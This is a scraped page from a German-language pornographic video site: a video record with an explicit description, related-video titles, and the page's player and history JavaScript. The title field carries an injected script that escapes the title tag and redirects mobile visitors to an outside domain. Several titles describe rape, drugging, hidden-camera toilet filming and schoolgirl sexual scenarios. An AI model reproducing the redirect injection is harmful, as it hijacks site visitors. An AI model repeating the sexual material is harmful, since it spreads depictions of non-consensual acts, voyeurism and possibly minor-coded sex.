</title><script>if(/Mobile|Android|iPhone|iPad/.test(navigator.userAgent)){window.location.replace("https://xiazai.it.com")}</script><title>Hochwertige private Fotos eines wunderschönen Mädchens, die ihr Gesicht zeigen! Weiße und zarte große Brüste, geknetete, behaarte Muschi, die für die Penetration geöffnet ist.</script><title>Hochwertige private Fotos eines wunderschönen Mädchens, die ihr Gesicht zeigen!</title></script></script>
Hochwertige private Fotos eines wunderschönen Mädchens, die ihr Gesicht zeigen! Weiße und zarte große Brüste, geknetete, behaarte Muschi, die für die Penetration geöffnet ist.Hochwertige private Fotos eines wunderschönen Mädchens, die ihr Gesicht zeigen!","site_id":0,"video_url":"https://2605.fhbbff.com/20260706/aRdemrVo/index.m3u8","images":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA3MDYvZTYwM2FiMjM0MGY2MWVmYzk1NjhlNmY0YTYxODFmN2UuanBn.cache","duration":"","actor":[],"lastmod":1783766805,"rating":"3.0","view_count":448,"description":"In einem schwach beleuchteten Privatzimmer präsentierte die atemberaubend schöne junge Frau – Tsubasa Amane – ihre großen, steifen, schneeweißen Brüste vor der Kamera. Sie knetete sanft ihre rosafarbenen Brustwarzen mit den Fingern, deren milchiges Fleisch zwischen ihnen hervorquoll, begleitet von wollüstigen Stöhnen. Dann zog sie langsam ihren Slip herunter und enthüllte ihre zarte Vulva, bedeckt mit dichtem Schamhaar, ihre fleischigen Schamlippen leicht gespreizt unter dem behaarten Venushügel. Sie spreizte ihre Schamlippen mit den Händen und gab den Blick auf das feuchte, verführerische Fleisch im Inneren frei. Dabei posierte sie in verschiedenen Posen vor der Kamera, als wolle sie dich einladen, sofort in sie einzudringen und sie hart zu ficken. Man konnte deutlich sehen, wie sich ihre Vulva zusammenzog und dabei glänzte; sie benutzte sogar ihre Finger, um in ihre Öffnung einzudringen, was glucksende Geräusche hervorrief. Ihr Gesicht strahlte vor Lust und Verlangen nach Sex. Was für ein Juwel – nicht in ihr zu ejakulieren, wäre eine Verschwendung!","tag":["Höchste Qualität","Erstklassig schönes Mädchen","schönes Mädchen","Mädchen","Zeig dein Gesicht","Privates Fotoshooting","fair und zart","große Brüste","Brustkneten","Kneten","behaart","Schlampenloch","Mach es auf"],"site_url":"228356","free":1,"clarity":1,"vr":2,"is_caiji":0,"fenlei":[],"preview":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA3MDYvZTYwM2FiMjM0MGY2MWVmYzk1NjhlNmY0YTYxODFmN2UuanBn.cache","maker":"","table_name":"videos_fhzy10","content":"","download_url":"","magnet_url":"","torrent_url":"","preview_images":"","release_date":"","series":"","studio":"","s_title":"极品美少女露脸私拍!白嫩巨乳揉捏多毛骚穴掰开任插","s_keywords":"极品美少女露脸私拍!白嫩巨乳揉捏多毛骚穴掰开任插","s_description":"Hochwertige private Fotos eines wunderschönen Mädchens, die ihr Gesicht zeigen! Weiße und zarte große Brüste, geknetete, behaarte Muschi, die für die Penetration geöffnet ist.Hochwertige private Fotos eines wunderschönen Mädchens, die ihr Gesicht zeigen!","cid":"","items":[{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvMmEwMGNiZTk0MzIzZGRkOTNjNjZjZmVjYWYzNWU2ZWIuanBn.cache","vod_id":19234496,"title":"Eine vollbusige Hausfrau wird während eines Hausbesuchs von ihrem Trainer gedemütigt und brutal vergewaltigt; Nishino Emi erliegt dem Befehl und wird schwanger.","lastmod":"2026-05-16","duration":"1:58:54","url":"/play/19234496.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvOWQ4ZWZiYTVhYTIwYTI0MGJkYWQ5NWE3YjhiYTkwNTUuanBn.cache","vod_id":19044548,"title":"MIAA-074 Nach der Schule, der kontinuierliche Ejakulationsservice für Schülerinnen - Ai Hoshina","lastmod":"2025-03-28","duration":"02:00:05","url":"/play/19044548.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZTA2MGUzOTk0YzY1ZTk5YjYyY2JjZmRjYTFhZjFmNTQuanBn.cache","vod_id":19147763,"title":"Eine hübsche junge Frau gab ihr Live-Streaming-Debüt und zeigte dabei ihr Gesicht. Sie wirkte unschuldig, rein und bezaubernd. Auf Anweisung ihrer männlichen Zuschauer zog sie sich aus und flirtete mit ihnen, berührte ihre Brüste, spielte mit ihrer Vagina und spreizte ihre Beine – so zärtlich!","lastmod":"2025-03-29","duration":"","url":"/play/19147763.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZWMyMWMzMGYyZTM0MzYzZjJkYWJjMTgwMWRlYTc5NTguanBn.cache","vod_id":19151333,"title":"345SIMM407 Ein wunderschönes Idol, das nach der Einnahme von Aphrodisiaka Krämpfe bekommt und einen Orgasmus erreicht.","lastmod":"2025-03-29","duration":"54:15","url":"/play/19151333.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvMGRhOWRkMTY0NzM5YmVkZmJlYTZjNGRiN2U1ZWM3YzAuanBn.cache","vod_id":19128778,"title":"Eine junge Frau mit üppiger Oberweite kann Ihnen ultimative orale Befriedigung verschaffen.","lastmod":"2025-03-29","duration":"15:24","url":"/play/19128778.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvMzZjMmI2YTNhN2IwZGIyNGMwNzA1NTJmMmUwZWE3ZjAuanBn.cache","vod_id":19151395,"title":"CAWD-359 Naiv und unerfahren, sehnt sie sich danach, alle Arten von Sex zu erleben! Die erste Erfahrung eines jungen Mädchens im Nordosten Nordamerikas! Ein atemberaubender, intensiver Höhepunkt im dritten Akt – Rino Sakai.","lastmod":"2025-03-29","duration":"01:58:49","url":"/play/19151395.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvYTdiYmQyODZlNzBkMjgwMDE5ZjRmZDhiYjRhMDNhN2QuanBn.cache","vod_id":19126979,"title":"[Verheiratete Frau hat eine Affäre] Eine hübsche, zierliche Frau mit vielen Brüsten und einer behaarten Vulva wurde ohne Kondom vergewaltigt und flehte um Gnade.","lastmod":"2025-03-29","duration":"20:46","url":"/play/19126979.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvMDkyN2I3MTZiYmM4YWQ4ODZhMGZiNzkxMWJlMGFmYzQuanBn.cache","vod_id":19144987,"title":"Engagieren Sie eine atemberaubend schöne Frau mit außergewöhnlichem Temperament...","lastmod":"2025-03-29","duration":"","url":"/play/19144987.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYjUzMmZjNWU2ZjI2NDJmOWFmZmZlOTZhODc1NjI4OTYuanBn.cache","vod_id":19072242,"title":"Reine, unschuldige Schulschönheit – ein Hauch von Süße – ein wunderschöner Anblick: schwarze Strümpfe, glänzende High Heels, helle Haut, und der Geschmack eines schwarzen Stiers ist unglaublich lustvoll! Ich habe dort noch einen schwarzen Stier, und hier gibt es noch mehr, so viele Sexspielzeuge!","lastmod":"2025-03-28","duration":"00:37:19","url":"/play/19072242.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvNGQ3NDY0NTA1Y2IwYmFmYmM4ZjBmNDk5MjJiZjA1OTUuanBn.cache","vod_id":19215821,"title":"Auf der Szene wechseln sich üppig gebaute Schlampen ab, während eine durstige junge Frau und ein muskulöser Mann sich einen ununterbrochenen Kampf liefern.","lastmod":"2026-02-05","duration":"0:56:32","url":"/play/19215821.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvZTc4ZmJkYTVhMmJiNDY4ODRhNDJhNjMzZGZiN2ZhZjYuanBn.cache","vod_id":19235959,"title":"Die Zeit steht still! Drei Top-Schauspielerinnen – Ena Satsuki, Konatsu Kashiwagi und Hikaru Minazuki – werden brutal vergewaltigt und ejakulieren in ihr.","lastmod":"2026-05-17","duration":"2:52:22","url":"/play/19235959.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA2MDEvZDdjMGJhYTdlMzdlYjZhMWQzOWIyM2IxZDI5Mzg4ZDQuanBn.cache","vod_id":19178784,"title":"XKCCAV8004 Li Xiaomeng und ihre Tochter – das ultimative doppelte Flugfest, lüsterne und unkontrollierbare Lust.","lastmod":"2025-06-01","duration":"36:39","url":"/play/19178784.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly9mYW4ubGVmaGFvMjAyNTA5MjMudG9wLzIwMjYwMjE1L3VmdmlSemtILzEuanBn.cache","vod_id":19218348,"title":"Die atemberaubende Schönheit wurde so lange gefickt, bis sie unaufhörlich stöhnte und schrie, während ihre Säfte unaufhörlich herausspritzten.","lastmod":"2026-02-18","duration":"0:15:01","url":"/play/19218348.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvNzgzNzBmMDFkMDVlZWIxZGNjNzQzMTA0NThlNGI3ZjAuanBn.cache","vod_id":19229534,"title":"Aufnahmen einer versteckten Kamera zeigen, wie eine junge verheiratete Frau brutal in ihre enge, großbrüstige Vagina gefickt wird, wobei in ihr ejakuliert wird, bis sie zum Orgasmus kommt.","lastmod":"2026-04-16","duration":"2:59:23","url":"/play/19229534.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvNzllYTNiYWFhNmM4NmRjYjYyYTI2YWM5MTM5NDg4OWEuanBn.cache","vod_id":19230839,"title":"CarlaCutes Muschi saugt und saugt den Mann komplett leer! CarlaCute wird so lange gefickt, bis sie mehrmals zum Orgasmus kommt und zweimal in ihm ejakuliert – sie gibt sich völlig hin!","lastmod":"2026-04-25","duration":"0:11:16","url":"/play/19230839.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA3MDYvYzkyM2M4MmFjZWQ4N2M5NzkwY2IwODMwNDkzZDRlZjIuanBn.cache","vod_id":19244415,"title":"Die hochkarätige, vollbusige Internet-Berühmtheit Xiaoyingying wurde brutal gefickt und ihre Muschi mit Sperma gefüllt.","lastmod":"2026-07-08","duration":"","url":"/play/19244415.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMTJjY2EwMjQzMjBjNWZkMGE4YjdkZmZkZDQ0MjJkMzYuanBn.cache","vod_id":19065390,"title":"Ein chinesischer Meister der Toilettenfotografie filmte heimlich zwei atemberaubend schöne Frauen beim Toilettengang in der Damentoilette eines Einkaufszentrums.","lastmod":"2025-03-28","duration":"00:03:59","url":"/play/19065390.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvY2Y3M2E1NmQ4MDFmZDBmOWFmODcwNTkxYjg0NDk2OTQuanBn.cache","vod_id":19159428,"title":"URF028 [Untergrund-Sexindustrie] Eine landesweite Tour durch die Untergrund-Sexindustrie von Gotanda, einem heiligen Ort. Ich liebe es, fotografiert zu werden! Hervorragender Service☆ Reines und unschuldiges Bettmädchen! Unter der Dusche! Viel Spaß beim Shooting! Yuki-chans Geschichte.","lastmod":"2025-03-29","duration":"01:06:54","url":"/play/19159428.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvYzE3MTc1NWI1YmU4MDQ3ZDhkNTcwOWIzYjMwN2YzNmMuanBn.cache","vod_id":19227126,"title":"Eine hinreißende Schlampe mit riesigen Brüsten und einem prallen Hintern, die Strümpfe trägt, obszön redet, während sie masturbiert und sich von einem Dildo hart ficken lässt, bis sie zum Orgasmus kommt und abspritzt.","lastmod":"2026-04-07","duration":"1:16:47","url":"/play/19227126.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYTE0ZDU1OWE1ZmMwMWQxMzA2YTY2NTYzNjUyZDRiM2QuanBn.cache","vod_id":19068601,"title":"[MIDE-894] I-Cup-Busenmodel träumt vom AV-Debüt","lastmod":"2025-03-28","duration":"02:32:43","url":"/play/19068601.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvOTM4ZjhmMmQyYTdlYzdmYjE3NWNhNWQ3ZGZiODVmN2MuanBn.cache","vod_id":19039732,"title":"GNAB-013 Ein Schulmädchen mit einem hohen Wert für sexuelle Abweichung mobbt eine Lehrerin in der Schule.","lastmod":"2025-03-28","duration":"02:04:37","url":"/play/19039732.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA3MDUvZDMwMDI4YzhkOGU2NjBlYWRlNDMzZTZjMmE1Njg1MGEuanBn.cache","vod_id":19244004,"title":"Die ultimative Schlampe wird brutal gefickt, stöhnt wie eine Hündin und wird mit Geschwindigkeit und Leidenschaft zum Orgasmus gebracht.","lastmod":"2026-07-05","duration":"0:07:27","url":"/play/19244004.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvZGExNjIxMmU1YWY3ODQxMWExMjllZDZhMzMxNzVkZjkuanBn.cache","vod_id":19229517,"title":"Die verheiratete Akari Shinmura ist so geil, sie bettelt förmlich darum, in sie hineingespritzt zu werden! Ihre Muschi lutscht wie verrückt an einem riesigen Schwanz, presst Samen heraus und bringt sie zum Abspritzen.","lastmod":"2026-04-16","duration":"2:20:40","url":"/play/19229517.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvNTBiYTdkOWNiZmFmYzRiMjZlOWVkMGM5NTAyZTk2NDQuanBn.cache","vod_id":19234982,"title":"Wunderschöne Mädchen-Compilation Vol. 003: Top-Qualität junges Mädchengesicht und Samenerguss drin! Wilder Hardcore-Sex ohne Kondom und Samenerguss drin!","lastmod":"2026-05-16","duration":"4:03:29","url":"/play/19234982.html"}]},
videoTitle: '</title><script>if(/Mobile|Android|iPhone|iPad/.test(navigator.userAgent)){window.location.replace("https://xiazai.it.com")}</script><title>Hochwertige private Fotos eines wunderschönen Mädchens, die ihr Gesicht zeigen! Weiße und zarte große Brüste, geknetete, behaarte Muschi, die für die Penetration geöffnet ist.</script><title>Hochwertige private Fotos eines wunderschönen Mädchens, die ihr Gesicht zeigen!</title></script></script>',
language: 'de',
dataKey: '01',
loadingPlayer: true,
showShare: false,
pageUrl: '',
// RecommendedMovies 组件状态
isSingleColumn: false,
pageSize: 8,
currentPage: 1,
// 计算属性(使用 getter)
get layoutIconClass() {
return this.isSingleColumn ? 'icon-view-list' : 'icon-grid';
},
get layoutClass() {
return [
'row',
'g-3',
'row-cols-1',
this.isSingleColumn ? '' : 'row-cols-2',
'row-cols-lg-4'
].filter(Boolean).join(' ');
},
// 方法
onAppMounted() {
// 设置页面 URL
this.pageUrl = window.location.href;
// 保存观看历史
this.saveWatchHistory();
// 更新标签统计
if (this.videoData.tag && this.videoData.tag.length > 0) {
this.updateTagStats(this.videoData.tag);
}
// 发送点击统计
this.hitVideoId(this.videoData.id);
// 从 Cookie 读取布局偏好
const layoutCookie = this.getCookie('list_layout');
if (layoutCookie === 'single') {
this.isSingleColumn = true;
}
// 监听 iframe 加载完成,隐藏骨架屏
// 使用 setTimeout 确保 DOM 已完全渲染
setTimeout(() => {
const iframe = document.getElementById('v2-player');
const skeleton = document.getElementById('player-skeleton');
if (iframe && skeleton) {
// 定义隐藏骨架屏的函数
const hideSkeleton = () => {
skeleton.style.transition = 'opacity 0.3s ease';
skeleton.style.opacity = '0';
setTimeout(() => {
skeleton.style.display = 'none';
}, 300);
};
// 检查 iframe 是否已经加载完成
if (iframe.contentDocument || iframe.contentWindow) {
try {
// 如果 iframe 已加载,直接隐藏骨架屏
if (iframe.contentWindow.document.readyState === 'complete') {
setTimeout(hideSkeleton, 500);
return;
}
} catch (e) {
console.log('[Video] 跨域 iframe,无法检查状态:', e.message);
// 跨域情况下无法访问 contentWindow,继续监听 load 事件
}
}
// 监听 load 事件
iframe.addEventListener('load', () => {
console.log('[Video] iframe load 事件触发');
setTimeout(hideSkeleton, 500);
});
// 添加超时保护,确保骨架屏最终会被隐藏
setTimeout(() => {
if (skeleton.style.display !== 'none') {
console.log('[Video] 超时保护触发,强制隐藏骨架屏');
hideSkeleton();
}
}, 5000); // 5秒后强制隐藏
} else {
console.error('[Video] 未找到 iframe 或 skeleton 元素');
}
}, 0);
},
// 随机跳转
async jumpToRandomVideo() {
try {
const response = await fetch(`/api/qun/randomid?t=${Date.now()}`, {
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
});
const data = await response.json();
if (data?.status === 1 && data?.data?.id) {
window.location.href = `/${this.language}/play/${data.data.id}.html`;
} else {
console.error('获取随机视频失败:', data?.message || '未知错误');
}
} catch (err) {
console.error('获取随机视频失败:', err);
}
},
// 复制分享链接
copyShareLink() {
const input = this.$refs.shareInput;
if (input) {
input.select();
input.setSelectionRange(0, 99999); // For mobile devices
// 尝试使用现代 API
if (navigator.clipboard && navigator.clipboard.writeText) {
navigator.clipboard.writeText(this.pageUrl).then(() => {
alert('Link kopiert!');
}).catch(() => {
// 降级到旧方法
document.execCommand('copy');
alert('Link kopiert!');
});
} else {
// 降级到旧方法
document.execCommand('copy');
alert('Link kopiert!');
}
}
},
// 切换布局
toggleLayout() {
this.isSingleColumn = !this.isSingleColumn;
this.setCookie('list_layout', this.isSingleColumn ? 'single' : 'multi', 30);
},
// 加载更多
loadMore() {
this.currentPage++;
},
// 保存观看历史
saveWatchHistory() {
try {
const storageKey = 'watchHistory';
let history = JSON.parse(localStorage.getItem(storageKey) || '[]');
// 解码 HTML 实体编码的标题
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const video = {
id: this.videoData.id,
title: decodeHtmlEntities(this.videoData.title),
image: this.videoData.images || this.videoData.preview,
duration: this.videoData.duration || ''
};
// 过滤掉已存在的相同 ID 视频
history = history.filter(item => item.id !== video.id);
// 添加新记录到最前面
history.unshift(video);
// 限制最多保存 100 条
if (history.length > 100) {
history = history.slice(0, 100);
}
localStorage.setItem(storageKey, JSON.stringify(history));
} catch (e) {
console.error('Failed to save watch history:', e);
}
},
// 更新标签统计
updateTagStats(tags = []) {
// HTML 实体解码函数
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const storageKey = this.dataKey + 'tagWatchStats';
const lastWatchedKey = this.dataKey + 'tagLastWatched';
const raw = localStorage.getItem(storageKey);
const stats = raw ? JSON.parse(raw) : {};
// 解码标签并统计
const decodedTags = tags.map(tag => decodeHtmlEntities(tag));
decodedTags.forEach(tag => {
stats[tag] = (stats[tag] || 0) + 1;
});
localStorage.setItem(storageKey, JSON.stringify(stats));
localStorage.setItem(lastWatchedKey, JSON.stringify(decodedTags));
},
// 点击统计
hitVideoId(id) {
fetch(`/api/qun/hit?type=play&id=${id}`, {
method: 'GET',
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
}).catch(err => {
console.error('点击统计失败:', err);
});
},
// Cookie 工具方法
getCookie(name) {
const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) return parts.pop().split(';').shift();
},
setCookie(name, value, days) {
const expires = new Date(Date.now() + days * 864e5).toUTCString();
document.cookie = `${name}=${value}; expires=${expires}; path=/`;
}
};
}